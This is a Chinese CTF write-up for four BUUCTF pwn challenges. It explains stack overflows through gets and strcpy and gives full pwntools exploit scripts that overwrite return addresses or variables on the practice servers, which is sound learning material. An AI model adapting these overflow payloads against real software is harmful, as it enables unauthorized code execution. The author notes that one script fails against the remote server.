buu pwn刷题——分类题型1——gets溢出无脑填充

gets漏洞

gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

栈结构:

(图自ctf-wiki)

warmup_csaw_2016

找到gets漏洞,v5到rbp有0x40的内存

无脑填充即可:'a' * 0x40 + 'b' * 8 + p64(0x40060d)

exp

#!/usr/bin/python
from pwn import *

r = remote('node3.buuoj.cn', 29261)

r.recvuntil('WOW:')
address =0x000000000040060D
payload = 'A' * 72 + p64(address)

r.sendline(payload)

r.interactive()

rip

fun()函数找到system,同样gets溢出,填充:'a' * 0xf + 'b' * 8

exp

from pwn import *

#p = remote('node3.buuoj.cn', 27581)
p = process('./pwn1')
payload = 'a' * 23 + p64(0x401186) 
p.sendline(payload)

p.interactive()

这里说一下,不知道为什么这个脚本远程跑不出来。。。(填充部分为'a' * 0xf就可以跑,但是这样本地是跑不出来的),但是思路是没问题的~

ciscn_2019_n_1

同gets,我们要做的就是把v2的值改成11.28125,看一下内存中v1和v2的位置


填充:'a' * (0x30-0x4),然后再将浮点数转为16进制即可改变v2的值。

exp


from pwn import *

r=remote('node3.buuoj.cn',27625)

payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)

r.interactive()

pwn1_sctf_2016

把它放在最后是因为也是填充,但是不是gets溢出

可以看到我们输入用的函数是fgets,限制了长度,所以不能直接从这里溢出。继续往下看,发现溢出点——strcpy

整个程序的意思就是我们可以把'I'替换成'you',在strcpy函数中,未对s进行限制,v1对输入的I进行变换后:v0长度=‘I’的个数*3。(32*3>0x3c)所以可以溢出。

exp

from pwn import *

#p = process("./pwn1_sctf_2016")
p = remote('node3.buuoj.cn','27953')

payload = 'I'*20 + "aaaa" + p32(0x08048F0D)
p.sendline(payload)
p.interactive()

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值